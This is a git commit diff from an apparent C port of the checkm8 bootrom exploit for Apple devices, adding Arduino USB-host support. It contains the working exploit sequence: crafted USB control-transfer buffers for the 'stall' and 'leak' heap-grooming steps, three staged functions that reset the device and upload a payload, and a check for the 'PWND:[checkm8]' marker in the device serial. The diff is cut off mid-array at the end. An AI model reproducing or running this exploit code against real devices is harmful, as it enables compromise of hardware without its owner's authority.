Better file separation for arduino support: limited to usb_helpers

This commit is contained in:
2019-12-28 15:07:08 -05:00
parent c7a882998c
commit c63d5845e4
6 changed files with 237 additions and 177 deletions

View File

@@ -15,4 +15,5 @@ set(checkm8_arduino_PROGRAMMER avrispmkii)
set(checkm8_arduino_PORT /dev/ttyACM0) set(checkm8_arduino_PORT /dev/ttyACM0)
include_directories(include) include_directories(include)
include_directories(../include)
generate_arduino_firmware(checkm8_arduino) generate_arduino_firmware(checkm8_arduino)

View File

@@ -1,5 +1,6 @@
#include <Usb.h> #include "Usb.h"
#include "constants.h" #include "constants.h"
#include "checkm8_config.h"
USB Usb; USB Usb;
USB_DEVICE_DESCRIPTOR desc_buf; USB_DEVICE_DESCRIPTOR desc_buf;
@@ -122,11 +123,9 @@ void heap_occupation()
void setup() void setup()
{ {
Serial.begin(115200); Serial.begin(ARDUINO_BAUD);
Serial.println("checkm8 started"); if(Usb.Init() == -1) Serial.println("failed to initialize USB host shield");
if(Usb.Init() == -1) else Serial.print('\x00');
Serial.println("usb init error");
delay(200);
} }
void loop() void loop()
@@ -135,7 +134,8 @@ void loop()
state = Usb.getUsbTaskState(); state = Usb.getUsbTaskState();
if(state != last_state) if(state != last_state)
{ {
Serial.print("usb state: "); Serial.println(state, HEX); Serial.print("usb state: ");
Serial.println(state, HEX);
last_state = state; last_state = state;
} }
if(state == USB_STATE_ERROR) if(state == USB_STATE_ERROR)

View File

@@ -38,12 +38,8 @@ int ctrl_transfer(struct pwned_device *dev,
unsigned char *data, unsigned short data_len, unsigned char *data, unsigned short data_len,
unsigned int timeout); unsigned int timeout);
int stall(struct pwned_device *dev); int reset(struct pwned_device *dev);
int leak(struct pwned_device *dev); int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len);
int no_leak(struct pwned_device *dev);
int usb_req_stall(struct pwned_device *dev);
int usb_req_leak(struct pwned_device *dev);
int usb_req_no_leak(struct pwned_device *dev);
#endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H #endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H

View File

@@ -2,33 +2,117 @@
#include <stdlib.h> #include <stdlib.h>
#include "usb_helpers.h" #include "usb_helpers.h"
#ifndef WITH_ARDUINO
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
typedef int(stage_function)(struct pwned_device *dev); static unsigned char data_0xA_0xC0_buf[192] =
int complete_stage(struct pwned_device *device, stage_function *func)
{ {
checkm8_debug_indent("complete_stage(dev = %p, func = %p)\n", device, func); 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
int ret; 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA
};
ret = open_device_session(device); static unsigned char data_0xA_0xC1_buf[193] =
if(ret == LIBUSB_ERROR_NO_DEVICE || ret == LIBUSB_ERROR_ACCESS)
{ {
checkm8_debug_indent("\tfailed to get device bundle\n"); 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
return CHECKM8_FAIL_NODEV; 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA
};
static unsigned char data_0x0_0x40_buf[64] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
static unsigned char data_0x0_0x41_buf[65] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0
};
static unsigned char data_0x0_0xC0_buf[192] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
int stall(struct pwned_device *dev)
{
checkm8_debug_indent("stall(dev = %p)\n", dev);
return partial_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 1);
} }
checkm8_debug_indent("\tgot device bundle, calling function\n"); int leak(struct pwned_device *dev)
ret = func(device); {
checkm8_debug_indent("leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1);
return CHECKM8_SUCCESS;
}
checkm8_debug_indent("\treleasing device bundle\n"); int no_leak(struct pwned_device *dev)
close_device_session(device); {
checkm8_debug_indent("no_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1);
return CHECKM8_SUCCESS;
}
return ret; int usb_req_stall(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_stall(dev = %p)\n", dev);
unsigned char data[0];
no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10);
return CHECKM8_SUCCESS;
}
int usb_req_leak(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1);
return CHECKM8_SUCCESS;
}
int usb_req_no_leak(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_no_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1);
return CHECKM8_SUCCESS;
} }
int stage1_function(struct pwned_device *dev) int stage1_function(struct pwned_device *dev)
@@ -37,15 +121,12 @@ int stage1_function(struct pwned_device *dev)
unsigned int i; unsigned int i;
stall(dev); stall(dev);
for(i = 0; i < 5; i++) for(i = 0; i < 5; i++) no_leak(dev);
{
no_leak(dev);
}
usb_req_leak(dev); usb_req_leak(dev);
no_leak(dev); no_leak(dev);
checkm8_debug_indent("\treset\n"); checkm8_debug_indent("\treset\n");
libusb_reset_device(dev->bundle->handle); reset(dev);
return CHECKM8_SUCCESS; return CHECKM8_SUCCESS;
} }
@@ -59,7 +140,7 @@ int stage2_function(struct pwned_device *dev)
no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0); no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
checkm8_debug_indent("\treset\n"); checkm8_debug_indent("\treset\n");
libusb_reset_device(dev->bundle->handle); reset(dev);
return CHECKM8_SUCCESS; return CHECKM8_SUCCESS;
} }
@@ -87,7 +168,7 @@ int stage3_function(struct pwned_device *dev)
no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100); no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
checkm8_debug_indent("reset\n"); checkm8_debug_indent("reset\n");
libusb_reset_device(dev->bundle->handle); reset(dev);
return CHECKM8_SUCCESS; return CHECKM8_SUCCESS;
} }
@@ -96,12 +177,9 @@ int check_function(struct pwned_device *dev)
checkm8_debug_indent("checking device serial\n"); checkm8_debug_indent("checking device serial\n");
unsigned char serial_buf[128]; unsigned char serial_buf[128];
unsigned int i; unsigned int i;
struct libusb_device_handle *handle = dev->bundle->handle;
struct libusb_device_descriptor *desc = dev->bundle->descriptor;
libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, sizeof(serial_buf)); serial_descriptor(dev, serial_buf, sizeof(serial_buf));
checkm8_debug_indent("\tgot serial %s\n", serial_buf); checkm8_debug_indent("\tgot serial %s\n", serial_buf);
for(i = 0; i < 13; i++) for(i = 0; i < 13; i++)
{ {
if(serial_buf[99 + i] != "PWND:[checkm8]"[i]) if(serial_buf[99 + i] != "PWND:[checkm8]"[i])
@@ -112,76 +190,84 @@ int check_function(struct pwned_device *dev)
return CHECKM8_SUCCESS; return CHECKM8_SUCCESS;
} }
#endif
struct pwned_device *exploit_device() struct pwned_device *exploit_device()
{ {
int ret;
struct pwned_device *res = calloc(1, sizeof(struct pwned_device)); struct pwned_device *res = calloc(1, sizeof(struct pwned_device));
checkm8_debug_indent("exploit_device() -> dev = %p\n", res); checkm8_debug_indent("exploit_device() -> dev = %p\n", res);
res->status = DEV_NORMAL; res->status = DEV_NORMAL;
res->idVendor = DEV_IDVENDOR; res->idVendor = DEV_IDVENDOR;
res->idProduct = DEV_IDPRODUCT; res->idProduct = DEV_IDPRODUCT;
int ret = open_device_session(res);
#ifdef WITH_ARDUINO #ifdef WITH_ARDUINO
res->ard_fd = -1;
#else #else
res->bundle = calloc(1, sizeof(struct libusb_device_bundle)); res->bundle = calloc(1, sizeof(struct libusb_device_bundle));
#endif
int ret = complete_stage(res, check_function); ret = open_device_session(res);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to open device session\n");
free_device(res);
return NULL;
}
ret = check_function(res);
if(ret == CHECKM8_SUCCESS) if(ret == CHECKM8_SUCCESS)
{ {
// already exploited // already exploited
res->status = DEV_PWNED; res->status = DEV_PWNED;
close_device_session(res);
return res; return res;
} }
else if(ret == CHECKM8_FAIL_NODEV) else if(ret == CHECKM8_FAIL_NODEV)
{ {
// no device found // no device found
free(res); free_device(res);
return NULL; return NULL;
} }
else else
{ {
// normal device found - exploit // normal device found - exploit
ret = complete_stage(res, stage1_function); ret = stage1_function(res);
if(ret == CHECKM8_SUCCESS) if(ret == CHECKM8_SUCCESS)
{ {
ret = complete_stage(res, stage2_function); ret = stage2_function(res);
usleep(500000); usleep(500000);
} }
if(ret == CHECKM8_SUCCESS) if(ret == CHECKM8_SUCCESS)
{ {
ret = complete_stage(res, stage3_function); ret = stage3_function(res);
usleep(500000); usleep(500000);
} }
if(ret == CHECKM8_SUCCESS) if(ret == CHECKM8_SUCCESS)
{ {
ret = complete_stage(res, check_function); ret = check_function(res);
} }
if(ret == CHECKM8_SUCCESS) if(ret == CHECKM8_SUCCESS)
{ {
res->status = DEV_PWNED; res->status = DEV_PWNED;
close_device_session(res);
return res; return res;
} }
else else
{ {
free(res); free_device(res);
return NULL; return NULL;
} }
} }
#endif
} }
void free_device(struct pwned_device *dev) void free_device(struct pwned_device *dev)
{ {
#ifndef WITH_ARDUINO
close_device_session(dev); close_device_session(dev);
#ifndef WITH_ARDUINO
free(dev->bundle);
#endif #endif
free(dev); free(dev);
} }

View File

@@ -1,13 +1,19 @@
#include "usb_helpers.h" #include "usb_helpers.h"
#ifdef WITH_ARDUINO
#include <termio.h>
#include <fcntl.h>
#include <unistd.h>
#else
#include <string.h> #include <string.h>
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h>
#include <termio.h>
#include <fcntl.h>
#include "libusbi.h" #include "libusbi.h"
#endif
int open_device_session(struct pwned_device *dev) int open_device_session(struct pwned_device *dev)
{ {
checkm8_debug_indent("open_device_session(dev = %p)\n", dev); checkm8_debug_indent("open_device_session(dev = %p)\n", dev);
@@ -15,21 +21,49 @@ int open_device_session(struct pwned_device *dev)
#ifdef WITH_ARDUINO #ifdef WITH_ARDUINO
// based on https://github.com/todbot/arduino-serial/blob/master/arduino-serial-lib.c // based on https://github.com/todbot/arduino-serial/blob/master/arduino-serial-lib.c
struct termios toptions; struct termios toptions;
int ard = open(ARDUINO_DEV, O_RDWR | O_NONBLOCK); char buf;
if(ard == -1) int ard_fd = open(ARDUINO_DEV, O_RDWR | O_NONBLOCK);
if(ard_fd == -1)
{ {
checkm8_debug_indent("\tfailed to open arduino device %s\n", ARDUINO_DEV); checkm8_debug_indent("\tfailed to open arduino device %s\n", ARDUINO_DEV);
return CHECKM8_FAIL_NODEV; return CHECKM8_FAIL_NODEV;
} }
if(tcgetattr(ard, &toptions) < 0) checkm8_debug_indent("\topened arduino device %s\n", ARDUINO_DEV);
if(tcgetattr(ard_fd, &toptions) < 0)
{ {
checkm8_debug_indent("\tfailed to get arduino terminal attributes\n"); checkm8_debug_indent("\tfailed to get arduino terminal attributes\n");
close(ard_fd);
return CHECKM8_FAIL_NODEV; return CHECKM8_FAIL_NODEV;
} }
cfsetispeed(&toptions, ARDUINO_BAUD); speed_t brate;
cfsetospeed(&toptions, ARDUINO_BAUD); switch(ARDUINO_BAUD)
{
case 4800:
brate = B4800; break;
case 9600:
brate = B9600; break;
case 19200:
brate = B19200; break;
case 38400:
brate = B38400; break;
case 57600:
brate = B57600; break;
case 115200:
brate = B115200; break;
default:
brate = B9600; break;
}
cfsetispeed(&toptions, brate);
cfsetospeed(&toptions, brate);
toptions.c_cflag &= ~PARENB; toptions.c_cflag &= ~PARENB;
toptions.c_cflag &= ~CSTOPB; toptions.c_cflag &= ~CSTOPB;
@@ -45,14 +79,36 @@ int open_device_session(struct pwned_device *dev)
toptions.c_cc[VMIN] = 0; toptions.c_cc[VMIN] = 0;
toptions.c_cc[VTIME] = 0; toptions.c_cc[VTIME] = 0;
tcsetattr(ard, TCSANOW, &toptions); tcsetattr(ard_fd, TCSANOW, &toptions);
if(tcsetattr(ard, TCSAFLUSH, &toptions) < 0) if(tcsetattr(ard_fd, TCSAFLUSH, &toptions) < 0)
{ {
checkm8_debug_indent("\tfailed to set terminal attributes"); checkm8_debug_indent("\tfailed to set terminal attributes");
close(ard_fd);
return CHECKM8_FAIL_NODEV; return CHECKM8_FAIL_NODEV;
} }
checkm8_debug_indent("\tset arduino terminal attributes\n");
// read a setup verification byte
while(read(ard_fd, &buf, 1) == 0);
if(buf == '\x00')
{
checkm8_debug_block("\tarduino successfully setup\n");
dev->ard_fd = ard_fd;
return CHECKM8_SUCCESS; return CHECKM8_SUCCESS;
}
else
{
checkm8_debug_indent("\tarduino error: ");
while(buf != '\n')
{
checkm8_debug_block("%c", buf);
while(read(ard_fd, &buf, 1) == 0);
}
close(ard_fd);
return CHECKM8_FAIL_NOTDONE;
}
#else #else
int i, usb_dev_count, ret = CHECKM8_FAIL_NODEV; int i, usb_dev_count, ret = CHECKM8_FAIL_NODEV;
libusb_device **usb_device_list = NULL; libusb_device **usb_device_list = NULL;
@@ -136,7 +192,15 @@ int close_device_session(struct pwned_device *dev)
checkm8_debug_indent("close_device_session(dev = %p)\n", dev); checkm8_debug_indent("close_device_session(dev = %p)\n", dev);
#ifdef WITH_ARDUINO #ifdef WITH_ARDUINO
int ret = close(dev->ard_fd);
dev->ard_fd = -1;
if(ret == -1)
{
checkm8_debug_indent("\tfailed to close arduino fd\n");
return CHECKM8_FAIL_NODEV;
}
return CHECKM8_SUCCESS;
#else #else
if(dev->bundle->handle != NULL) if(dev->bundle->handle != NULL)
{ {
@@ -160,30 +224,21 @@ int close_device_session(struct pwned_device *dev)
free(dev->bundle->descriptor); free(dev->bundle->descriptor);
dev->bundle->descriptor = NULL; dev->bundle->descriptor = NULL;
} }
#endif
return CHECKM8_SUCCESS; return CHECKM8_SUCCESS;
#endif
} }
int is_device_session_open(struct pwned_device *dev) int is_device_session_open(struct pwned_device *dev)
{ {
#ifdef WITH_ARDUINO #ifdef WITH_ARDUINO
return dev->ard_fd != -1;
#else #else
return dev->bundle->ctx != NULL && dev->bundle->device != NULL && return dev->bundle->ctx != NULL && dev->bundle->device != NULL &&
dev->bundle->handle != NULL && dev->bundle->descriptor != NULL; dev->bundle->handle != NULL && dev->bundle->descriptor != NULL;
#endif #endif
} }
#ifndef WITH_ARDUINO
void LIBUSB_CALL async_ctrl_transfer_cb(struct libusb_transfer *transfer)
{
checkm8_debug_indent("transfer status: %s (%i / %i)\n",
libusb_error_name(transfer->status),
transfer->actual_length,
transfer->length);
}
#endif
int partial_ctrl_transfer(struct pwned_device *dev, int partial_ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest, unsigned char bmRequestType, unsigned char bRequest,
@@ -207,7 +262,7 @@ int partial_ctrl_transfer(struct pwned_device *dev,
struct libusb_transfer *usb_transfer = libusb_alloc_transfer(0); struct libusb_transfer *usb_transfer = libusb_alloc_transfer(0);
libusb_fill_control_setup(usb_transfer_buf, bmRequestType, bRequest, wValue, wIndex, data_len); libusb_fill_control_setup(usb_transfer_buf, bmRequestType, bRequest, wValue, wIndex, data_len);
memcpy(&usb_transfer_buf[8], data, data_len); memcpy(&usb_transfer_buf[8], data, data_len);
libusb_fill_control_transfer(usb_transfer, dev->bundle->handle, usb_transfer_buf, async_ctrl_transfer_cb, NULL, 1); libusb_fill_control_transfer(usb_transfer, dev->bundle->handle, usb_transfer_buf, NULL, NULL, 1);
checkm8_debug_indent("\tsubmiting urb\n"); checkm8_debug_indent("\tsubmiting urb\n");
ret = libusb_submit_transfer(usb_transfer); ret = libusb_submit_transfer(usb_transfer);
@@ -263,8 +318,7 @@ int no_error_ctrl_transfer(struct pwned_device *dev,
} }
} }
ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
timeout);
checkm8_debug_indent("\tgot error %s but ignoring\n", libusb_error_name(ret)); checkm8_debug_indent("\tgot error %s but ignoring\n", libusb_error_name(ret));
return CHECKM8_SUCCESS; return CHECKM8_SUCCESS;
#endif #endif
@@ -276,6 +330,10 @@ int ctrl_transfer(struct pwned_device *dev,
unsigned char *data, unsigned short data_len, unsigned char *data, unsigned short data_len,
unsigned int timeout) unsigned int timeout)
{ {
checkm8_debug_indent(
"ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
#ifdef WITH_ARDUINO #ifdef WITH_ARDUINO
// TODO // TODO
#else #else
@@ -287,104 +345,23 @@ int ctrl_transfer(struct pwned_device *dev,
#endif #endif
} }
static unsigned char data_0xA_0xC0_buf[192] = int reset(struct pwned_device *dev)
{ {
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, #ifdef WITH_ARDUINO
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA
};
static unsigned char data_0xA_0xC1_buf[193] = #else
{ return libusb_reset_device(dev->bundle->handle);
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, #endif
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA
};
static unsigned char data_0x0_0x40_buf[64] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
static unsigned char data_0x0_0x41_buf[65] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0
};
static unsigned char data_0x0_0xC0_buf[192] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
